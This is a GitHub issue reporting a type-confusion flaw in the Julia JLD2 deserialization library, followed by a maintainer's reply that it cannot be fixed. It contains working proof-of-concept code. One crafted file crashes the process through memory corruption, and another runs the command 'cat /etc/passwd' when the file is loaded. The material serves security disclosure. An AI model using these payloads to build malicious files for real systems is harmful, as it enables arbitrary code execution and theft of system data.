Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security issue: Type confusion, convert called during deserialization #117

Closed
chethega opened this issue Oct 10, 2018 · 2 comments
Closed

Comments

@chethega
Copy link

I take the lack of further response to #115
as "yes, potential security issues can currently go on the public bugtracker and don't warrant coordinated disclosure / non-public patch development / CVE assignment". On the other hand, I take it that this is a security issue (bug, not feature).

Example for creating a bad file:

julia> using JLD2, FileIO
julia> a=Any[1]; b=view(a, [1]);
julia> typeof(b)
SubArray{Any,1,Array{Any,1},Tuple{Array{Int64,1}},false}
julia> struct SArray{tup, typ, n, m}
       data::Tuple{SubArray{Any,1,Array{Any,1},Tuple{Array{Int64,1}},false}}
       end
julia> sa = SArray{Tuple{1}, Vector{Any}, 1, 1}((b,));
julia> b.indices[1][1]=7;
julia> save("foo7.jld2", "sa", sa);

Reading it creates an inconsistent state that crashes on the next gc run:

julia> using StaticArrays, JLD2, FileIO
julia> load("foo7.jld2");
julia> GC.gc()

signal (11): Segmentation fault

I am pretty sure that it should be possible to get code-exec via memory corruption.

I think that it is plausible to get reliable code-execution via type confusion, e.g. by triggering a getindex on a serialized Broadcasted object that calls Meta.parse, Meta.eval and run. I have not found a widely imported function that calls getindex during conversion if the object I plug in is not an AbstractArray (and Broadcasted is not an abstract array).

This specific example is related to JuliaLang/julia#25743 and a possibly spurious convert in StaticArrays.

@chethega
Copy link
Author

The same PoC as for BSON.jl applies for JLD2:

julia> using JLD2, FileIO
julia> struct SubArray{T,N,P,I,L}<:AbstractArray{T,N}
       parent
       indices
       offset1
       stride1
       end
julia> br=Base.Broadcast.Broadcasted(run, ([`cat /etc/passwd`],));
julia> v=SubArray{Any,1, Any,Tuple{Array{Int64,1}}, false}(br, ([1],), 0, 0);
julia> w=SubArray{Any,1, Any,Tuple{Array{Int64,1}}, false}(1:5, (v,), 0, 0);
julia> save("poc.jld2", Dict("a"=>w));

In a new session:

julia> using JLD2, FileIO
julia> load("poc.jld2");
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
[...]
Fatal error:
ERROR: MethodError: Cannot `convert` an object of type Base.Process to an object of type Int64
[...]

@JonasIsensee
Copy link
Collaborator

This is not "fixable" but there is a warning in the docs.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants